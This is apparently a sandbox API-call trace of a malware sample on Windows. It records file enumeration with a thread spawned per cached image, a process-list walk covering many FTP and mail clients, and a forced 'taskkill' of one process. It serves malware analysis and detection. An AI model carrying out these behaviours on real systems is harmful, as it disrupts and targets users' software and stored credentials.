	[0284.867] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.867] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x458eefb0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x458eefb0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x458eefb0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x83c, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBDRbsH[1].jpg", cAlternateFileName="BBDRBS~1.JPG")) returned 1
	[0284.868] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.868] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc2d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb90
	[0284.870] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.870] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45b9c870, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45b9c870, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45b9c870, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x968, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBDZoZR[1].jpg", cAlternateFileName="BBDZOZ~1.JPG")) returned 1
	[0284.870] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.871] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc30870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb94
	[0284.873] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.874] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x458c8e50, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x458c8e50, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x458c8e50, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x8d4, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBE97O8[1].jpg", cAlternateFileName="BBE97O~1.JPG")) returned 1
	[0284.874] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.874] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc33f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb98
	[0284.876] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.876] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x459d37f0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x459d37f0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x459d37f0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x6e0, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBE9wSt[1].jpg", cAlternateFileName="BBE9WS~1.JPG")) returned 1
	[0284.876] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.877] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc37630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xb9c
	[0284.878] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.879] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x45a6bd70, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x45a6bd70, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x45a6bd70, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x8b9, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBEcHle[1].jpg", cAlternateFileName="BBECHL~1.JPG")) returned 1
	[0284.879] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.879] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc3e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xba0
	[0284.881] VirtualFree (lpAddress=0x27e0000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0284.882] FindNextFileW (in: hFindFile=0x29f220, lpFindFileData=0x10c240 | out: lpFindFileData=0x10c240*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x458eefb0, ftCreationTime.dwHighDateTime=0x1d2faf3, ftLastAccessTime.dwLowDateTime=0x458eefb0, ftLastAccessTime.dwHighDateTime=0x1d2faf3, ftLastWriteTime.dwLowDateTime=0x458eefb0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x2086, dwReserved0=0x1fa, dwReserved1=0x0, cFileName="BBEdE0f[1].jpg", cAlternateFileName="BBEDE0~1.JPG")) returned 1
	[0284.882] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x27e0000
	[0284.882] CreateThread (lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13fbf1ef0, lpParameter=0x13fc41ad0, dwCreationFlags=0x0, lpThreadId=0x0) 

Thread:
	id = 2
	os_tid = 0x700


Thread:
	id = 3
	os_tid = 0x290


Thread:
	id = 5
	os_tid = 0x2dc


Thread:
	id = 7
	os_tid = 0x834

	[0099.889] CreateToolhelp32Snapshot (dwFlags=0xf, th32ProcessID=0x0) returned 0x178
	[0099.915] Process32FirstW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1
	[0099.919] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1
	[0099.922] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1
	[0100.084] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0100.089] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1
	[0100.093] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1
	[0100.098] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1
	[0100.101] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1
	[0100.105] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1
	[0100.108] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x1e8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1
	[0100.112] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0100.115] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0100.119] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0100.274] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0100.278] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x24, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0100.281] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1
	[0100.284] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0100.288] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x218, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0100.291] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x434, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1
	[0100.295] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x21, th32ParentProcessID=0x42c, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1
	[0100.298] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x46c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1
	[0100.302] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0100.305] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0100.508] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x370, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskeng.exe")) returned 1
	[0100.513] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x720, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1d8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1
	[0100.516] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x5cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0100.519] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x674, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1
	[0100.523] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x738, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1d8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1
	[0100.526] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x408, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="transportation innocent drug.exe")) returned 1
	[0100.529] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x180, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="wordpress.exe")) returned 1
	[0100.533] ShellExecuteW (hwnd=0x0, lpOperation=0x0, lpFile="taskkill", lpParameters="/IM wordpress.exe /F", lpDirectory=0x0, nShowCmd=0) returned 0x2a
	[0103.874] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x750, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="trunk.exe")) returned 1
	[0103.877] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x778, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="proposalshurtsilly.exe")) returned 1
	[0103.881] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x78c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="record-cultural-corrections.exe")) returned 1
	[0103.883] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x494, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="defined_odd_stuff.exe")) returned 1
	[0103.886] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x688, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="discounted_rational_ca.exe")) returned 1
	[0103.889] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x10c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="corp.exe")) returned 1
	[0103.892] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x24c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="salemarchivevietnam.exe")) returned 1
	[0103.895] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x758, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="indexeslakes.exe")) returned 1
	[0103.898] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nation_dress_jelsoft.exe")) returned 1
	[0103.901] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x2a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="services supreme.exe")) returned 1
	[0103.904] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x80c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="man.exe")) returned 1
	[0103.907] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x81c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="lives_defined.exe")) returned 1
	[0103.910] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x82c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bumper ideal.exe")) returned 1
	[0104.238] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x83c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="martin-catalyst.exe")) returned 1
	[0104.241] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x84c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nylonblacks.exe")) returned 1
	[0104.244] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x85c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="vp i manner.exe")) returned 1
	[0104.246] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x86c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="nitrogen canberra.exe")) returned 1
	[0104.249] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x87c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="prompt.exe")) returned 1
	[0104.252] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x88c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1
	[0104.255] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x89c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1
	[0104.258] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1
	[0104.261] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1
	[0104.264] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1
	[0104.267] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1
	[0104.510] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1
	[0104.513] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x8fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1
	[0104.516] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x90c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1
	[0104.519] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x91c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1
	[0104.522] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x92c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1
	[0104.525] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x93c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1
	[0104.528] Process32NextW (in: hSnapshot=0x178, lppe=0x2bdf4b0 | out: lppe=0x2bdf4b0*(dwSize=0x238, cntUsage=0x0, th32ProcessID=0x94c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x444, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1
